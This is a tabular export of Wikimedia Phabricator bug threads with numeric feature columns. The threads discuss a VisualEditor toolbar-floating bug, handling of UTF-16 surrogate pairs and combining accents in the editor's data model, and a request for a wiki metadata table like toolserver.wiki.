212072,VisualEditor: Toolbar floats only down to the top of the last BranchNode (which isn't always at the end),Fix merged and will go out with next push.,,,1371688425,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-djl2633o2ndbnj77h5l2,task_subcomment,,True,c1,2,True,,,-2,,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,20.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4,1.0,Fix merged and will go out with next push.
212067,VisualEditor: Toolbar floats only down to the top of the last BranchNode (which isn't always at the end),Related URL: https://gerrit.wikimedia.org/r/69478 (Gerrit Change I1c7662f2b6f1ced6f80dec16c6ed69a8cc0c06c8),,,1371642471,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-djl2633o2ndbnj77h5l2,task_subcomment,,True,c1,2,False,,,-2,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change I1c7662f2b6f1ced6f80dec16c6ed69a8cc0c06c8)
212061,VisualEditor: Toolbar floats only down to the top of the last BranchNode (which isn't always at the end),"(In reply to comment #1)
> So the problem is that it lets it go too far or not far enough? I can imagine
> it somehow, but steps to reproduce the bug would nice.

Doesn't got far enough.

Steps to reproduce: find a document with a very long single BranchNode at the end (or create one). Use VE. Notice that the tool bar slips off the page when you get below the bottom.",,,1370883741,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-djl2633o2ndbnj77h5l2,task_subcomment,,True,c1,2,True,,,-3,,0.0,0.0,2.0,0.0,2.0,3.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,8.0,13.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,5.0,3.0,0.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,10.0,0.0,15.0,3.0,2.0,10.0,0.0,0.0,0.0,2.0,8.0,0.0,3.0,0.0,2.0,13.0,7.0,0.0,0.0,0.0,2.0,0.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,3.3278688524590163,0.7868852459016393,"(In reply to comment #1)
QUOTE
QUOTE

Doesn't got far enough.

Steps to reproduce: find a document with a very long single BranchNode at the end (or create one). Use VE. Notice that the tool bar slips off the page when you get below the bottom."
212056,VisualEditor: Toolbar floats only down to the top of the last BranchNode (which isn't always at the end),"So the problem is that it lets it go too far or not far enough? I can imagine it somehow, but steps to reproduce the bug would nice.",,,1370851349,,PHID-USER-sai77mtxmpqnm6pycyvz,True,,,PHID-TASK-djl2633o2ndbnj77h5l2,task_subcomment,,True,c1,2,True,,,-3,,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,23.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,3.0,0.0,6.0,3.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,3.0,6.0,3.0,6.0,6.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,13.0,6.0,0.0,3.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3870967741935485,0.8709677419354839,"So the problem is that it lets it go too far or not far enough? I can imagine it somehow, but steps to reproduce the bug would nice."
50651,VisualEditor: Provide clean way to clone a linmod slice,"Complete with its own sub-store and everything, for consumption by a subsurface.

Right now Trevor is committing crimes against humanity to make this work (converting to DOM then back to linmod again)

--------------------------
**Version**: unspecified
**Severity**: enhancement",Medium,50.0,1369072260,1412590792.0,PHID-USER-fovtl67ew4l4cc3oeypc,False,,False,PHID-TASK-g4wwasypneek2xwppnuc,task_description,resolved,True,c1,1,False,False,False,-6,,0.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,9.0,12.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,9.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,11.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,12.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,4.333333333333333,0.7894736842105263,"Complete with its own sub-store and everything, for consumption by a subsurface.

Right now Trevor is committing crimes against humanity to make this work (converting to DOM then back to linmod again)

--------------------------
**Version**: unspecified
**Severity**: enhancement"
211452,VisualEditor: Provide clean way to clone a linmod slice,Provided by gerrit I38d63e31.,,,1412608772,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-g4wwasypneek2xwppnuc,task_subcomment,,True,c1,3,True,,,66,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,40.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,40.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.2,1.0,Provided by gerrit I38d63e31.
211446,VisualEditor: Provide clean way to clone a linmod slice,ve.dm.Document#cloneSliceFromRange addresses this,,,1412590792,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-g4wwasypneek2xwppnuc,task_subcomment,,True,c1,3,False,,,66,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.4,1.0,ve.dm.Document#cloneSliceFromRange addresses this
50630,"VisualEditor: Data model needs characters, not code points","At present, the VisualEditor treats UTF-16 code points as if they were synonymous with abstract characters. Here are two cases where this causes bugs:

1) UTF-16 uses a surrogate pair to represent each Unicode character above U+FFFF. For instance, U+282E2 ('elevator' in Cantonese) is a single character represented in Javascript as ""\uD860\uDEE2"". In a plain textarea, this behaves like a single character from the point of view of the user. However in the VisualEditor, cursoring and backspacing requires two presses; and after cursoring once, any text typed will go in the middle of the surrogate pair, creating invalid UTF-16. (see The Unicode Standard, Version 6.2, Section 3.8, Surrogates).

2) Combining accents can be used in sequences to build up abstract characters. For example, the Javascript string ""m\u0300"" represents a single abstract character (m with grave accent). In a plain textarea, this behaves like a single character when cursoring, but like two characters when backspacing (so the first backspace just removes the accent). However in the VisualEditor, cursoring requires two presses; and after cursoring once, any typed text will go between the letter and the accent, creating an inappropriate dangling combining accent.

These kinds of issues occur because the DataModel uses Arrays with code point elements, say ['\uD860', '\uDEE2', ..., 'm', '\u0300']). My hunch is that this is slightly too low level, and it should instead use abstract character elements, say ['\uD860\uDEE2', ..., 'm\u0300'], where each element represents a whole character.

A good start would be to abstract out away calls to string.split( '' ) into a single function like this:

  ve.splitCharacters = function ( value ) {
      return value.split( /(?![\uDC00-\uDFFF])/ ); // don't split surrogate pairs
  };

The rest of the codebase should call this function to perform splits, and then not assume that data[i] is a single character. Then we can refine splitCharacters as needed.

Alternatively, since the overwhelming majority of characters will in fact be single code points, perhaps the DataModel structure could ""encode"" the exceptional multi-code point characters as objects, so that 'typeof data[i] === ""string""' can still detect the simple cases.

This sounds like a big change for a small issue, but I think it would avoid problems in the future. With a character representation, you can safely perform useful operations like splicing and truncating without having to check the surrounding context very carefully every time.

--------------------------
**Version**: unspecified
**Severity**: normal",Medium,50.0,1369029300,1370532382.0,PHID-USER-lliyevigiycjbybglftk,False,,False,PHID-TASK-vqj7c3uh5ndu4ic45odq,task_description,resolved,True,c1,1,False,False,True,-6,,0.8333333333333334,0.0,0.16666666666666666,0.16666666666666666,0.3333333333333333,6.333333333333333,1.0,0.16666666666666666,0.0,0.16666666666666666,3.0,3.0,0.0,0.16666666666666666,0.0,0.5,0.6666666666666666,4.333333333333333,9.666666666666666,0.0,0.8333333333333334,0.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,0.8333333333333334,0.8333333333333334,0.0,3.8333333333333335,0.6666666666666666,0.3333333333333333,0.5,0.16666666666666666,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.16666666666666666,0.3333333333333333,2.1666666666666665,0.0,0.16666666666666666,0.0,0.0,0.16666666666666666,15.5,0.6666666666666666,1.0,0.0,0.16666666666666666,0.0,0.16666666666666666,0.0,0.0,0.6666666666666666,0.16666666666666666,0.0,0.6666666666666666,0.0,0.16666666666666666,0.16666666666666666,0.3333333333333333,0.0,6.333333333333333,1.5,7.0,1.8333333333333333,1.5,8.666666666666666,0.0,0.0,0.0,0.0,3.6666666666666665,0.0,1.1666666666666667,0.0,1.1666666666666667,9.666666666666666,3.5,0.0,4.166666666666667,0.0,1.1666666666666667,0.0,0.6666666666666666,2.5,0.0,1.6666666666666667,0.0,0.0,0.6666666666666666,4.288960171077252,0.7462576851109329,"At present, the VisualEditor treats UTF-16 code points as if they were synonymous with abstract characters. Here are two cases where this causes bugs:

1) UTF-16 uses a surrogate pair to represent each Unicode character above U+FFFF. For instance, U+282E2 ('elevator' in Cantonese) is a single character represented in Javascript as ""\uD860\uDEE2"". In a plain textarea, this behaves like a single character from the point of view of the user. However in the VisualEditor, cursoring and backspacing requires two presses; and after cursoring once, any text typed will go in the middle of the surrogate pair, creating invalid UTF-16. (see The Unicode Standard, Version 6.2, Section 3.8, Surrogates).

2) Combining accents can be used in sequences to build up abstract characters. For example, the Javascript string ""m\u0300"" represents a single abstract character (m with grave accent). In a plain textarea, this behaves like a single character when cursoring, but like two characters when backspacing (so the first backspace just removes the accent). However in the VisualEditor, cursoring requires two presses; and after cursoring once, any typed text will go between the letter and the accent, creating an inappropriate dangling combining accent.

These kinds of issues occur because the DataModel uses Arrays with code point elements, say ['\uD860', '\uDEE2', ..., 'm', '\u0300']). My hunch is that this is slightly too low level, and it should instead use abstract character elements, say ['\uD860\uDEE2', ..., 'm\u0300'], where each element represents a whole character.

A good start would be to abstract out away calls to string.split( '' ) into a single function like this:

  ve.splitCharacters = function ( value ) {
      return value.split( /(?![\uDC00-\uDFFF])/ ); // don't split surrogate pairs
  };

The rest of the codebase should call this function to perform splits, and then not assume that data[i] is a single character. Then we can refine splitCharacters as needed.

Alternatively, since the overwhelming majority of characters will in fact be single code points, perhaps the DataModel structure could ""encode"" the exceptional multi-code point characters as objects, so that 'typeof data[i] === ""string""' can still detect the simple cases.

This sounds like a big change for a small issue, but I think it would avoid problems in the future. With a character representation, you can safely perform useful operations like splicing and truncating without having to check the surrounding context very carefully every time.

--------------------------
**Version**: unspecified
**Severity**: normal"
210278,"VisualEditor: Data model needs characters, not code points",Marking this as merged; follow-up in bug 49257.,,,1370532382,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-vqj7c3uh5ndu4ic45odq,task_subcomment,,True,c1,2,True,,,-4,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,3.3333333333333335,1.0,Marking this as merged; follow-up in bug 49257.
210272,"VisualEditor: Data model needs characters, not code points",*** Bug 49233 has been marked as a duplicate of this bug. ***,,,1370531722,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-vqj7c3uh5ndu4ic45odq,task_subcomment,,True,c1,2,True,,,-4,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 49233 has been marked as a duplicate of this bug. ***
210266,"VisualEditor: Data model needs characters, not code points","Ed's main block of code is merged and will go out with wmf5; keeping this open for follow-up, and removing milestone of tomorrow.",,,1369497594,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-vqj7c3uh5ndu4ic45odq,task_subcomment,,True,c1,1,True,,,-6,,0.0,0.0,0.0,3.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,7.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,17.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,3.689655172413793,0.9310344827586207,"Ed's main block of code is merged and will go out with wmf5; keeping this open for follow-up, and removing milestone of tomorrow."
210258,"VisualEditor: Data model needs characters, not code points","To be precise about what should constitute a character, see Grapheme Cluster Boundary Rules from TR29 (http://unicode.org/reports/tr29/) . We probably want to implement these, except insofar as it differs from the browsers' implementations of what constitutes a character for cursoring purposes.

The important thing right now is to abstract the code away from assuming single-codepoint characters, so the structure is correct. Then we can get the splitting rules right in isolation.",,,1369309137,,PHID-USER-lliyevigiycjbybglftk,False,,,PHID-TASK-vqj7c3uh5ndu4ic45odq,task_subcomment,,True,c1,1,False,,,-6,,0.0,0.0,0.0,0.0,0.0,5.0,4.0,0.0,0.0,0.0,2.0,1.0,0.0,0.0,0.0,2.0,0.0,9.0,16.0,0.0,4.0,1.0,1.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,6.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,1.0,2.0,0.0,2.0,0.0,0.0,0.0,13.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,4.0,12.0,2.0,0.0,10.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,4.0,16.0,7.0,0.0,1.0,0.0,4.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,4.682926829268292,0.8048780487804879,"To be precise about what should constitute a character, see Grapheme Cluster Boundary Rules from TR29 (URL . We probably want to implement these, except insofar as it differs from the browsers' implementations of what constitutes a character for cursoring purposes.

The important thing right now is to abstract the code away from assuming single-codepoint characters, so the structure is correct. Then we can get the splitting rules right in isolation."
210250,"VisualEditor: Data model needs characters, not code points",Related URL: https://gerrit.wikimedia.org/r/64965 (Gerrit Change I8d936fb15d82f73cd45fac142c540a7950850d55),,,1369248049,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-vqj7c3uh5ndu4ic45odq,task_subcomment,,True,c1,1,False,,,-6,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change I8d936fb15d82f73cd45fac142c540a7950850d55)
210243,"VisualEditor: Data model needs characters, not code points","(In reply to comment #3)
> Another major issue is that window.getSelection (which is what we use to get
> cursor position, via Rangy) calculates using number of codepoints, not
> characters, so this would need to be translated.

Which would be done in ve.ce.getOffsetFromTextNode",,,1369049395,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-vqj7c3uh5ndu4ic45odq,task_subcomment,,True,c1,1,True,,,-6,,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,24.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,10.0,0.0,5.0,0.0,0.0,14.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0476190476190474,0.8095238095238095,"(In reply to comment #3)
QUOTE
QUOTE
QUOTE

Which would be done in ve.ce.getOffsetFromTextNode"
210238,"VisualEditor: Data model needs characters, not code points","Another major issue is that window.getSelection (which is what we use to get cursor position, via Rangy) calculates using number of codepoints, not characters, so this would need to be translated.",,,1369048633,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-vqj7c3uh5ndu4ic45odq,task_subcomment,,True,c1,1,True,,,-6,,0.0,0.0,0.0,3.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,14.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,11.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,16.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,5.0,3.0,0.0,11.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,3.0,14.0,0.0,0.0,0.0,0.0,3.0,0.0,5.0,0.0,0.0,3.0,0.0,0.0,0.0,4.486486486486487,0.8918918918918919,"Another major issue is that window.getSelection (which is what we use to get cursor position, via Rangy) calculates using number of codepoints, not characters, so this would need to be translated."
210232,"VisualEditor: Data model needs characters, not code points","Ideally merging would be done at the transaction level (e.g. in fixupInsertion), although we would need to extend that method to be allowed to modify the remove part of a transaction, e.g.

Data: ['F','o','o']

Transaction:
  Retain: 3
  Replace:
    Remove: ''
    Insert: '<accent>'

Would become:

Transaction:
  Retain: 2
  Replace:
    Remove: 'o'
    Insert: 'o<accent>'",,,1369046846,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-vqj7c3uh5ndu4ic45odq,task_subcomment,,True,c1,1,True,,,-6,,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,1.0,0.0,3.0,9.0,0.0,0.0,0.0,1.0,0.0,3.0,7.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,2.0,15.0,1.0,0.0,4.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,1.0,7.0,6.0,0.0,8.0,0.0,1.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,7.0,3.5473684210526315,0.5368421052631579,"Ideally merging would be done at the transaction level (e.g. in fixupInsertion), although we would need to extend that method to be allowed to modify the remove part of a transaction, e.g.

Data: ['F','o','o']

Transaction:
  Retain: 3
  Replace:
    Remove: ''
    Insert: '<accent>'

Would become:

Transaction:
  Retain: 2
  Replace:
    Remove: 'o'
    Insert: 'o<accent>'"
210226,"VisualEditor: Data model needs characters, not code points","A related question is when invalid UTF-16 is checked and how errors are handled. 

I don't know enough to suggest where in the system the checks should be. But it obviously relates to the parts of ve.dm.Converter and ve.ce.Surface (for paste) which would call this new splitCharacters function. Note that two chunks of invalid UTF-16 can concatenate into one valid but unexpected chunk.",,,1369029854,,PHID-USER-lliyevigiycjbybglftk,False,,,PHID-TASK-vqj7c3uh5ndu4ic45odq,task_subcomment,,True,c1,1,False,,,-6,,0.0,0.0,0.0,3.0,1.0,9.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,7.0,11.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,1.0,0.0,7.0,5.0,1.0,1.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,11.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,5.0,5.0,11.0,5.0,5.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,3.0,0.0,3.0,11.0,8.0,0.0,0.0,0.0,3.0,0.0,5.0,1.0,0.0,0.0,0.0,0.0,0.0,4.32,0.8266666666666667,"A related question is when invalid UTF-16 is checked and how errors are handled. 

I don't know enough to suggest where in the system the checks should be. But it obviously relates to the parts of ve.dm.Converter and ve.ce.Surface (for paste) which would call this new splitCharacters function. Note that two chunks of invalid UTF-16 can concatenate into one valid but unexpected chunk."
50626,Provide wiki metadata in the databases similar to toolserver.wiki,"Toolserver has the local table toolserver.wiki on all databases that provides metadata about the wikis including the server the wiki's database is kept on:

```
| mysql> SELECT * FROM toolserver.wiki LIMIT 5;
| +----------------+------+------------+------------------+------+---------+-----------+--------------+--------------+---------------+--------+-------------+
| | dbname         | lang | family     | domain           | size | is_meta | is_closed | is_multilang | is_sensitive | root_category | server | script_path |
| +----------------+------+------------+------------------+------+---------+-----------+--------------+--------------+---------------+--------+-------------+
| | aawikibooks_p  | aa   | wikibooks  | NULL             |    3 |       0 |         1 |            0 |            0 | NULL          |      3 | /w/         |
| | aawiki_p       | aa   | wikipedia  | NULL             |    6 |       0 |         1 |            0 |            0 | NULL          |      3 | /w/         |
| | aawiktionary_p | aa   | wiktionary | NULL             |    1 |       0 |         1 |            0 |            1 | NULL          |      3 | /w/         |
| | abwiki_p       | ab   | wikipedia  | ab.wikipedia.org |  807 |       0 |         0 |            0 |            0 | NULL          |      3 | /w/         |
| | abwiktionary_p | ab   | wiktionary | NULL             |    0 |       0 |         1 |            0 |            1 | NULL          |      3 | /w/         |
| +----------------+------+------------+------------------+------+---------+-----------+--------------+--------------+---------------+--------+-------------+
| 5 rows in set (0.00 sec)

| mysql>
```

Most of the information can probably be extracted from operations/mediawiki-config, but I don't know which sources there are authoritative.

See also: {T50625}",Medium,50.0,1369024500,1377636000.0,PHID-USER-vk6mlmacfhx77egryy5i,False,,False,PHID-TASK-6qqicftxiu35fghejuwg,task_description,resolved,True,c1,1,False,False,True,-6,,2.0,0.0,0.0,3.0,2.0,6.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,2.0,0.0,5.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,8.0,3.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,3.0,0.0,2.0,0.0,2.0,0.0,14.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,2.0,2.0,8.0,5.0,9.0,0.0,2.0,11.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,8.0,6.0,0.0,0.0,0.0,2.0,0.0,3.0,0.0,0.0,2.0,0.0,2.0,0.0,4.287878787878788,0.8333333333333334,"Toolserver has the local table toolserver.wiki on all databases that provides metadata about the wikis including the server the wiki's database is kept on:

``CODE``

Most of the information can probably be extracted from operations/mediawiki-config, but I don't know which sources there are authoritative.

See also: {T50625}"
210043,Provide wiki metadata in the databases similar to toolserver.wiki,"Added a meta_p.legacy view that has the same column name and order as toolserver.wiki for legacy purposes.

Please note that the semantics of the 'server' columns differs and there may be other subtle differences with the toolserver's table not immediately evident.  Unless the same code base has to run on both labs and the toolserver for the interval while it still has replication, transitioning to use meta_p.wiki is preferable.",,,1377719047,,PHID-USER-h75guknmwivm6x37iute,False,,,PHID-TASK-6qqicftxiu35fghejuwg,task_subcomment,,True,c1,3,False,,,8,,0.0,0.0,0.0,0.0,1.0,8.0,3.0,0.0,0.0,1.0,1.0,3.0,0.0,0.0,1.0,0.0,1.0,4.0,14.0,0.0,3.0,0.0,1.0,0.0,1.0,1.0,0.0,0.0,1.0,0.0,0.0,5.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,1.0,0.0,1.0,0.0,1.0,1.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,10.0,3.0,4.0,4.0,4.0,12.0,0.0,0.0,0.0,0.0,5.0,1.0,0.0,0.0,1.0,14.0,3.0,0.0,3.0,0.0,1.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,4.67948717948718,0.7692307692307693,"Added a meta_p.legacy view that has the same column name and order as toolserver.wiki for legacy purposes.

Please note that the semantics of the 'server' columns differs and there may be other subtle differences with the toolserver's table not immediately evident.  Unless the same code base has to run on both labs and the toolserver for the interval while it still has replication, transitioning to use meta_p.wiki is preferable."
